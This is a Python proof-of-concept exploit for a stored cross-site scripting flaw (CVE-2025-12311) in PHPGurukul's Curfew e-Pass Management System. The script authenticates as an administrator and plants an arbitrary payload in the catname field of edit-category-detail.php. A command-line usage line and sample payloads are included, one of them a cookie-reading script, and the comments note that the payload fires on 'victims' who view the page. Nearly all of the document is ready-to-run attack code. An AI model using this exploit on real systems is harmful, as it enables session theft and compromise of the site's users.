CVE-2025-12311 PHPGurukul Curfew e-Pass Management System 存储型XSS漏洞

import requests import sys # CVE-2025-12311 PoC - Stored XSS in PHPGurukul Curfew e-Pass Management System # Target: edit-category-detail.php def exploit_stored_xss(target_url, username, password, malicious_payload): """ Exploits CVE-2025-12311: Stored XSS via catname parameter Args: target_url: Base URL of the vulnerable application username: Admin username for authentication password: Admin password malicious_payload: XSS payload to inject (e.g., '<script>alert(document.cookie)</script>') Returns: bool: True if exploitation successful, False otherwise """ session = requests.Session() # Step 1: Authentication login_url = f"{target_url}/login.php" login_data = { 'username': username, 'password': password } try: login_response = session.post(login_url, data=login_data, timeout=10) # Step 2: Inject XSS payload via catname parameter edit_category_url = f"{target_url}/edit-category-detail.php" exploit_data = { 'catname': malicious_payload, 'submit': 'Update' } exploit_response = session.post(edit_category_url, data=exploit_data, timeout=10) # Step 3: Verify the XSS is stored and reflected # When victims visit the category page, the XSS will execute if exploit_response.status_code == 200: print(f"[+] XSS payload sent: {malicious_payload}") print(f"[+] Payload stored in catname parameter") print(f"[+] Victims will be affected when viewing category details") return True except requests.RequestException as e: print(f"[-] Error: {e}") return False return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2025-12311.py <target_url> <username> <password> <payload>") print("Example: python cve-2025-12311.py http://target.com admin admin '<script>alert(1)</script>'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] payload = sys.argv[4] exploit_stored_xss(target, user, pwd, payload)